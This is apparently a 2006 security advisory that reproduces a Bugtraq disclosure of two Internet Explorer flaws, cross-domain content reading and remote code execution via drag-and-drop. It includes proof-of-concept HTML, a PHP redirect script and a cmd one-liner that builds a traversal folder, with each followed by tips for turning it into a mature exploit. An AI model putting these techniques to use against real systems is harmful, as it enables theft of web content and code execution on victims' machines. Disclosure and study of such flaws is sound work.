source: https://www.securityfocus.com/bid/19389/info
Microsoft Windows is prone to a remote code-execution vulnerability. This issue affects the Windows Explorer component. This issue is caused by insecure handling of Drag and Drop events.
There is a public proof-of-concept that demonstrates that this vulnerability may be exploited to execute a malicious HTML application (HTA) without prompting the user for permission.
REPORT NAME: PLEBO-2006.06.16-IE_ONE_MINOR_ONE_MAJOR
DESTINATION: To Publish
EMAIL RECPT: bugtraq
CONTENTS
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0. IMPORTANT NOTICE
1. SUMMARY
2. READ CONTENT OF ANY DOMAIN - PROOF OF CONCEPT
3. READ CONTENT OF ANY DOMAIN - TIPS FOR MATURE EXPLOIT
4. DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION - PROOF OF CONCEPT
5. DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION - TIPS FOR MATURE EXPLOIT
0. IMPORTANT NOTICE
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Copyright (c) 2006 Plebo Aesdi Nael
Permission is hereby granted for the redistribution of this document electronically.
It is not to be edited in any way without express consent of Plebo Aesdi Nael.
Please email plebo@gmx.net for permission if you wish to reprint the whole or any part of this document in any other medium excluding electronic medium.
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1. SUMMARY
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This document illustrates two issues found in Internet Explorer:
One is READ CONTENT OF ANY DOMAIN
Another is DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION
2. READ CONTENT OF ANY DOMAIN - PROOF OF CONCEPT
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The following proof of concept is incomplete realization of the idea to demonstrate its feasibility.
Windows Server 2003, Enterprise Edition, Service Pack 1, 15/06/2006
Upload the following files to Web server, go to i.html
------------------------- i.html -------------------------
<html><body onload="setTimeout('alert(o.object.documentElement.outerHTML)',1000)">
<object width=100 height=100 data=r.php?http://www.google.com/123456789 type=text/html id=o></object>
</body></html>
------------------------- r.php -------------------------
<?php header("Location: ".$_SERVER["QUERY_STRING"]); ?>
i.html displays content of Google Web page.
3. READ CONTENT OF ANY DOMAIN - TIPS FOR MATURE EXPLOIT
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1. Target Google Desktop, similar to IE Design Flaw Lets Hacker Crack Google Desktop, http://www.eweek.com/article2/0,1895,1895579,00.asp
2. Target webmail
4. DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION - PROOF OF CONCEPT
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The following proof of concept is incomplete realization of the idea to demonstrate its feasibility.
Windows Server 2003, Enterprise Edition, Service Pack 1, 15/06/2006
Assume C:\SmbPubRO is shared over SMB \\192.168.0.5\SmbPubRO
Run CMD, go to C:\SmbPubRO, and then enter the following command:
mkdir test && cd test && mkdir %2e%2e%5cx.{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B} && echo "<html><body><iframe width=300 height=300 src='./' ></iframe>" > test.html && cd .. && echo "<html><body><script>alert('hallo')</script>" > x.{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B}
At last, open IE to \\192.168.0.5\SmbPubRO\test\test.html, and double-click the icon labeled %2e%2e%5cx
MSHTA runs remote code.
5. DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION - TIPS FOR MATURE EXPLOIT
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1. Use WebDAV, not SMB
2. Hide suspicious parts by CSS tricks similar to What A Drag! -revisited-, http://www.mikx.de/index.php?p=1
3. Set up scenario of double-click
4. If modified, able to compromise IE7BETA2
5. If modified, no need to double-click
